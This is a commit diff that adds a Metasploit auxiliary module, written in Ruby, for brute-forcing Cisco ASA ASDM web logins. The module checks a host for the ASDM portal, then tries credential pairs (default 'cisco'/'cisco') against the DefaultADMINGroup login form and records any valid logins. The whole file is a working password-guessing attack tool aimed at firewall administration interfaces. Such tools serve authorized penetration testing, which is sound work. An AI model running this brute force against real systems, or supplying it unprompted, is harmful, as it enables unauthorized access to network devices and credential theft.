Land #2715 - Cisco ASA ASDM Bruteforce Login Utility

modules/auxiliary/scanner/http/cisco_asa_asdm.rb

@@ -0,0 +1,138 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'rex/proto/http'
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::AuthBrute
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => 'Cisco ASA ASDM Bruteforce Login Utility',
+      'Description'    => %{
+        This module scans for Cisco ASA ASDM web login portals and
+        performs login brute force to identify valid credentials.
+      },
+      'Author'         =>
+        [
+          'Jonathan Claudius <jclaudius[at]trustwave.com>',
+        ],
+      'License'        => MSF_LICENSE
+    ))
+
+    register_options(
+      [
+        Opt::RPORT(443),
+        OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
+        OptString.new('USERNAME', [true, "A specific username to authenticate as", 'cisco']),
+        OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'cisco'])
+      ], self.class)
+  end
+
+  def run_host(ip)
+    unless check_conn?
+      print_error("#{peer} - Connection failed, Aborting...")
+      return
+    end
+
+    unless is_app_asdm?
+      print_error("#{peer} - Application does not appear to be Cisco ASA ASDM. Module will not continue.")
+      return
+    end
+
+    print_status("#{peer} - Application appears to be Cisco ASA ASDM. Module will continue.")
+
+    print_status("#{peer} - Starting login brute force...")
+    each_user_pass do |user, pass|
+      do_login(user, pass)
+    end
+  end
+
+  # Verify whether the connection is working or not
+  def check_conn?
+    begin
+      res = send_request_cgi(
+      {
+        'uri'       => '/',
+        'method'    => 'GET'
+      })
+      print_good("#{peer} - Server is responsive...")
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+      return
+    end
+  end
+
+  # Verify whether we're working with ASDM or not
+  def is_app_asdm?
+      res = send_request_cgi(
+      {
+        'uri'       => '/+webvpn+/index.html',
+        'method'    => 'GET',
+        'agent'     => 'ASDM/ Java/1.6.0_65'
+      })
+
+      if res &&
+         res.code == 200 &&
+         res.headers['Set-Cookie'].match(/webvpn/)
+
+        return true
+      else
+        return false
+      end
+  end
+
+  # Brute-force the login page
+  def do_login(user, pass)
+    vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
+    begin
+      res = send_request_cgi({
+        'uri'       => '/+webvpn+/index.html',
+        'method'    => 'POST',
+        'agent'     => 'ASDM/ Java/1.6.0_65',
+        'ctype'     => 'application/x-www-form-urlencoded; charset=UTF-8',
+        'cookie'    => 'webvpnlogin=1; tg=0DefaultADMINGroup',
+        'vars_post' => {
+          'username' => user,
+          'password' => pass,
+          'tgroup'   => 'DefaultADMINGroup'
+        }
+      })
+
+      if res &&
+         res.code == 200 &&
+         res.body.match(/SSL VPN Service/) &&
+         res.body.match(/Success/) &&
+         res.body.match(/success/)
+
+        print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
+
+        report_hash = {
+          :host   => rhost,
+          :port   => rport,
+          :sname  => 'Cisco ASA ASDM',
+          :user   => user,
+          :pass   => pass,
+          :active => true,
+          :type => 'password'
+        }
+
+        report_auth_info(report_hash)
+        return :next_user
+
+      else
+        vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
+      end
+
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+      print_error("#{peer} - HTTP Connection Failed, Aborting")
+      return :abort
+    end
+  end
+end